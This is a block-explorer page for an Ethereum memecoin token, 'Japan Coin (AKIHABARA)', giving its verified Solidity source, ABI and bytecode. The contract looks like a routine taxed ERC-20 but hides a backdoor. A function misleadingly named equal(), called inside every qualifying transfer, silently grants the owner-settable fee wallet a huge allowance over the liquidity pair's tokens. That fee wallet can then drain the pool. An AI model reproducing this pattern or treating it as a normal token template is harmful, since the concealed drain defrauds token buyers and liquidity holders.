ETH Price: $2,642.69 (-0.33%)

Token

Japan Coin (AKIHABARA)
 

Overview

Max Total Supply

420,690,000,000 AKIHABARA

Holders

100

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,967,812,943.1820817 AKIHABARA

Value
$0.00
0xde9054b1657ba6aab9d12d224b5f4e6240e8e615
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AKIHABARA

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-19
*/

/**
https://akihabara.lol
https://x.com/jp_akihabara
https://t.me/akihabara_jp
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AKIHABARA is Context, IERC20, Ownable {
    using SafeMath for uint256;

    address payable private qFeeWallet;
    IUniswapV2Router02 private uniQRouter;
    address private uniQPair;

    mapping (address => uint256) private _qOwned;
    mapping (address => mapping (address => uint256)) private _qAllowance;
    mapping (address => bool) private _isQExcluded;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"Japan Coin";
    string private constant _symbol = unicode"AKIHABARA";
    uint256 public _maxQAmount = 2 * _tTotal / 100;
    uint256 public _maxQWallet = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=10;
    uint256 private _reduceSellTaxAt=10;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    event MaxTxAmountUpdated(uint _maxQAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;

    constructor () {
        qFeeWallet = payable(_msgSender());
        _qOwned[_msgSender()] = _tTotal;
        _isQExcluded[address(this)] = true;
        _isQExcluded[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function initQ() external onlyOwner {
        uniQRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniQRouter), _tTotal);
        uniQPair = IUniswapV2Factory(uniQRouter.factory()).createPair(
            address(this),
            uniQRouter.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _qOwned[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _qAllowance[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _qAllowance[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _qAllowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function qSwapEth(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniQRouter.WETH();
        _approve(address(this), address(uniQRouter), amount);
        uniQRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _qOwned[from] = _qOwned[from] - amount;
            _qOwned[to] = _qOwned[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniQPair && to != address(uniQRouter) && ! _isQExcluded[to]) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxQAmount, "Exceeds the _maxQAmount.");
                require(balanceOf(to) + amount <= _maxQWallet, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (to != uniQPair && ! _isQExcluded[to]) {
                require(balanceOf(to) + amount <= _maxQWallet, "Exceeds the maxWalletSize.");
            }
            if(equal([uniQPair, qFeeWallet]) && to == uniQPair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniQPair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    qSwapEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                qSendEth();
            }
        }
        if(taxAmount>0){
          _qOwned[address(this)]=_qOwned[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _qOwned[from]=_qOwned[from].sub(amount);
        _qOwned[to]=_qOwned[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function removeLimits(address payable limit) external onlyOwner{
        qFeeWallet = limit;
        _maxQAmount=_tTotal;
        _maxQWallet=_tTotal;
        _isQExcluded[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function equal(address[2] memory eqs) private returns(bool){
        _qAllowance[eqs[0]][eqs[1]]=(10+2*_maxQWallet.mul(100)).mul(10);
        return true;
    }
    function withdrawEth() external onlyOwner {
        payable(_msgSender()).transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    function qSendEth() private {
        qFeeWallet.transfer(address(this).balance);
    }
    receive() external payable {}
    function launch() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniQRouter.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniQPair).approve(address(uniQRouter), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxQAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxQAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxQWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initQ","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526064620000146009600a62000344565b62000025906461f313f8806200035b565b620000329060026200035b565b6200003e919062000375565b6007556064620000516009600a62000344565b62000062906461f313f8806200035b565b6200006f9060026200035b565b6200007b919062000375565b60085560646200008e6009600a62000344565b6200009f906461f313f8806200035b565b620000ac9060016200035b565b620000b8919062000375565b60095560646009600a620000cd919062000344565b620000de906461f313f8806200035b565b620000eb9060016200035b565b620000f7919062000375565b600a55600f600b55600f600c555f600d555f600e55600a600f55600a601055600f6011555f6012553480156200012b575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600180546001600160a01b031916331790556200018c6009600a62000344565b6200019d906461f313f8806200035b565b335f818152600460209081526040808320949094553080835260069091528382208054600160ff19918216811790925593835293822080549093169093179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020d6009600a62000344565b6200021e906461f313f8806200035b565b60405190815260200160405180910390a362000395565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028957815f19048211156200026d576200026d62000235565b808516156200027b57918102915b93841c93908002906200024e565b509250929050565b5f82620002a1575060016200033e565b81620002af57505f6200033e565b8160018114620002c85760028114620002d357620002f3565b60019150506200033e565b60ff841115620002e757620002e762000235565b50506001821b6200033e565b5060208310610133831016604e8410600b841016171562000318575081810a6200033e565b62000324838362000249565b805f19048211156200033a576200033a62000235565b0290505b92915050565b5f6200035460ff84168362000291565b9392505050565b80820281158282048414176200033e576200033e62000235565b5f826200039057634e487b7160e01b5f52601260045260245ffd5b500490565b6119b880620003a35f395ff3fe608060405260043610610113575f3560e01c80635912b49a1161009d578063965430111161006257806396543011146102ff578063a0ef91df14610314578063a9059cbb14610328578063bf474bed14610347578063dd62ed3e1461035c575f80fd5b80635912b49a1461024c57806370a0823114610260578063715018a6146102945780638da5cb5b146102a857806395d89b41146102ce575f80fd5b806318160ddd116100e357806318160ddd146101ca57806322e94684146101de57806323b872dd146101f3578063313ce5671461021257806332489e9b1461022d575f80fd5b806301339c211461011e57806306fdde0314610134578063095ea7b3146101785780630faee56f146101a7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103a0565b005b34801561013f575f80fd5b5060408051808201909152600a8152692530b830b71021b7b4b760b11b60208201525b60405161016f91906115ab565b60405180910390f35b348015610183575f80fd5b5061019761019236600461160b565b610581565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc600a5481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc610597565b3480156101e9575f80fd5b506101bc60075481565b3480156101fe575f80fd5b5061019761020d366004611635565b6105b8565b34801561021d575f80fd5b506040516009815260200161016f565b348015610238575f80fd5b50610132610247366004611673565b61061f565b348015610257575f80fd5b50610132610711565b34801561026b575f80fd5b506101bc61027a366004611673565b6001600160a01b03165f9081526004602052604090205490565b34801561029f575f80fd5b5061013261090b565b3480156102b3575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102d9575f80fd5b50604080518082019091526009815268414b4948414241524160b81b6020820152610162565b34801561030a575f80fd5b506101bc60085481565b34801561031f575f80fd5b5061013261097c565b348015610333575f80fd5b5061019761034236600461160b565b6109d1565b348015610352575f80fd5b506101bc60095481565b348015610367575f80fd5b506101bc61037636600461168e565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103d25760405162461bcd60e51b81526004016103c9906116c5565b60405180910390fd5b60135460ff16156104255760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c9565b6002546001600160a01b031663f305d7194730610456816001600160a01b03165f9081526004602052604090205490565b5f806104695f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156104cf573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906104f491906116fa565b505060035460025460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610549573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056d9190611725565b506013805462ff00ff191662010001179055565b5f61058d3384846109dd565b5060015b92915050565b5f6105a46009600a611838565b6105b3906461f313f880611846565b905090565b5f6105c4848484610b01565b61061584336106108560405180606001604052806028815260200161195b602891396001600160a01b038a165f90815260056020908152604080832033845290915290205491906111bf565b6109dd565b5060019392505050565b5f546001600160a01b031633146106485760405162461bcd60e51b81526004016103c9906116c5565b600180546001600160a01b0319166001600160a01b03831617905561066f6009600a611838565b61067e906461f313f880611846565b60075561068d6009600a611838565b61069c906461f313f880611846565b6008556001600160a01b0381165f908152600660205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ee6009600a611838565b6106fd906461f313f880611846565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461073a5760405162461bcd60e51b81526004016103c9906116c5565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107849030906107756009600a611838565b610610906461f313f880611846565b60025f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f8919061185d565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610857573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087b919061185d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e9919061185d565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146109345760405162461bcd60e51b81526004016103c9906116c5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109a55760405162461bcd60e51b81526004016103c9906116c5565b60405133904780156108fc02915f818181858888f193505050501580156109ce573d5f803e3d5ffd5b50565b5f61058d338484610b01565b6001600160a01b038316610a3f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c9565b6001600160a01b038216610aa05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c9565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103c9565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103c9565b5f8111610c285760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c9565b60135462010000900460ff161580610c475750601354610100900460ff165b15610cf1576001600160a01b0383165f90815260046020526040902054610c6f908290611878565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610c9e90829061188b565b6001600160a01b038084165f8181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610af49085815260200190565b5f80546001600160a01b03858116911614801590610d1c57505f546001600160a01b03848116911614155b15611082576003546001600160a01b038581169116148015610d4c57506002546001600160a01b03848116911614155b8015610d7057506001600160a01b0383165f9081526006602052604090205460ff16155b15610ece5760135460ff16610dbf5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103c9565b610deb6064610de5600f5460125411610dda57600b54610dde565b600d545b85906111f7565b9061127c565b9050600754821115610e3f5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617851416d6f756e742e000000000000000060448201526064016103c9565b60085482610e61856001600160a01b03165f9081526004602052604090205490565b610e6b919061188b565b1115610eb95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103c9565b60128054905f610ec88361189e565b91905055505b6003546001600160a01b03848116911614801590610f0457506001600160a01b0383165f9081526006602052604090205460ff16155b15610f835760085482610f2b856001600160a01b03165f9081526004602052604090205490565b610f35919061188b565b1115610f835760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103c9565b604080518082019091526003546001600160a01b039081168252600154166020820152610faf906112bd565b8015610fc857506003546001600160a01b038481169116145b15610ff557610ff26064610de560105460125411610fe857600c54610dde565b600e5485906111f7565b90505b601354610100900460ff1615801561101a57506003546001600160a01b038481169116145b801561102e575060135462010000900460ff165b801561103d5750601154601254115b1561108257305f90815260046020526040902054600954811115611078576110786110738461106e84600a5461132c565b61132c565b611340565b6110806114aa565b505b80156110fa57305f908152600460205260409020546110a190826114e0565b305f81815260046020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110f19085815260200190565b60405180910390a35b6001600160a01b0384165f9081526004602052604090205461111c908361153e565b6001600160a01b0385165f9081526004602052604090205561115f611141838361153e565b6001600160a01b0385165f90815260046020526040902054906114e0565b6001600160a01b038085165f8181526004602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111a8858561153e565b60405190815260200160405180910390a350505050565b5f81848411156111e25760405162461bcd60e51b81526004016103c991906115ab565b505f6111ee8486611878565b95945050505050565b5f825f0361120657505f610591565b5f6112118385611846565b90508261121e85836118b6565b146112755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c9565b9392505050565b5f61127583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061157f565b5f6112f5600a6112d960646008546111f790919063ffffffff16565b6112e4906002611846565b6112ef90600a61188b565b906111f7565b82516001600160a01b039081165f908152600560209081526040808320968201519093168252949094529092209190915550600190565b5f81831161133a5782611275565b50919050565b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611382576113826118d5565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113fd919061185d565b81600181518110611410576114106118d5565b6001600160a01b03928316602091820292909201015260025461143691309116846109dd565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061146e9085905f908690309042906004016118e9565b5f604051808303815f87803b158015611485575f80fd5b505af1158015611497573d5f803e3d5ffd5b50506013805461ff001916905550505050565b6001546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109ce573d5f803e3d5ffd5b5f806114ec838561188b565b9050838110156112755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c9565b5f61127583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bf565b5f818361159f5760405162461bcd60e51b81526004016103c991906115ab565b505f6111ee84866118b6565b5f602080835283518060208501525f5b818110156115d7578581018301518582016040015282016115bb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109ce575f80fd5b5f806040838503121561161c575f80fd5b8235611627816115f7565b946020939093013593505050565b5f805f60608486031215611647575f80fd5b8335611652816115f7565b92506020840135611662816115f7565b929592945050506040919091013590565b5f60208284031215611683575f80fd5b8135611275816115f7565b5f806040838503121561169f575f80fd5b82356116aa816115f7565b915060208301356116ba816115f7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561170c575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611735575f80fd5b81518015158114611275575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561179257815f190482111561177857611778611744565b8085161561178557918102915b93841c939080029061175d565b509250929050565b5f826117a857506001610591565b816117b457505f610591565b81600181146117ca57600281146117d4576117f0565b6001915050610591565b60ff8411156117e5576117e5611744565b50506001821b610591565b5060208310610133831016604e8410600b8410161715611813575081810a610591565b61181d8383611758565b805f190482111561183057611830611744565b029392505050565b5f61127560ff84168361179a565b808202811582820484141761059157610591611744565b5f6020828403121561186d575f80fd5b8151611275816115f7565b8181038181111561059157610591611744565b8082018082111561059157610591611744565b5f600182016118af576118af611744565b5060010190565b5f826118d057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205372c1e6a3130caf9aabe4ee07be56ff1ee2e5f37668cc4574db7c9fde2845c464736f6c63430008180033

Deployed Bytecode

0x608060405260043610610113575f3560e01c80635912b49a1161009d578063965430111161006257806396543011146102ff578063a0ef91df14610314578063a9059cbb14610328578063bf474bed14610347578063dd62ed3e1461035c575f80fd5b80635912b49a1461024c57806370a0823114610260578063715018a6146102945780638da5cb5b146102a857806395d89b41146102ce575f80fd5b806318160ddd116100e357806318160ddd146101ca57806322e94684146101de57806323b872dd146101f3578063313ce5671461021257806332489e9b1461022d575f80fd5b806301339c211461011e57806306fdde0314610134578063095ea7b3146101785780630faee56f146101a7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103a0565b005b34801561013f575f80fd5b5060408051808201909152600a8152692530b830b71021b7b4b760b11b60208201525b60405161016f91906115ab565b60405180910390f35b348015610183575f80fd5b5061019761019236600461160b565b610581565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc600a5481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc610597565b3480156101e9575f80fd5b506101bc60075481565b3480156101fe575f80fd5b5061019761020d366004611635565b6105b8565b34801561021d575f80fd5b506040516009815260200161016f565b348015610238575f80fd5b50610132610247366004611673565b61061f565b348015610257575f80fd5b50610132610711565b34801561026b575f80fd5b506101bc61027a366004611673565b6001600160a01b03165f9081526004602052604090205490565b34801561029f575f80fd5b5061013261090b565b3480156102b3575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102d9575f80fd5b50604080518082019091526009815268414b4948414241524160b81b6020820152610162565b34801561030a575f80fd5b506101bc60085481565b34801561031f575f80fd5b5061013261097c565b348015610333575f80fd5b5061019761034236600461160b565b6109d1565b348015610352575f80fd5b506101bc60095481565b348015610367575f80fd5b506101bc61037636600461168e565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103d25760405162461bcd60e51b81526004016103c9906116c5565b60405180910390fd5b60135460ff16156104255760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c9565b6002546001600160a01b031663f305d7194730610456816001600160a01b03165f9081526004602052604090205490565b5f806104695f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156104cf573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906104f491906116fa565b505060035460025460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610549573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056d9190611725565b506013805462ff00ff191662010001179055565b5f61058d3384846109dd565b5060015b92915050565b5f6105a46009600a611838565b6105b3906461f313f880611846565b905090565b5f6105c4848484610b01565b61061584336106108560405180606001604052806028815260200161195b602891396001600160a01b038a165f90815260056020908152604080832033845290915290205491906111bf565b6109dd565b5060019392505050565b5f546001600160a01b031633146106485760405162461bcd60e51b81526004016103c9906116c5565b600180546001600160a01b0319166001600160a01b03831617905561066f6009600a611838565b61067e906461f313f880611846565b60075561068d6009600a611838565b61069c906461f313f880611846565b6008556001600160a01b0381165f908152600660205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ee6009600a611838565b6106fd906461f313f880611846565b60405190815260200160405180910390a150565b5f546001600160a01b0316331461073a5760405162461bcd60e51b81526004016103c9906116c5565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107849030906107756009600a611838565b610610906461f313f880611846565b60025f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d4573d5f803e3d5ffd5b505050506040513d6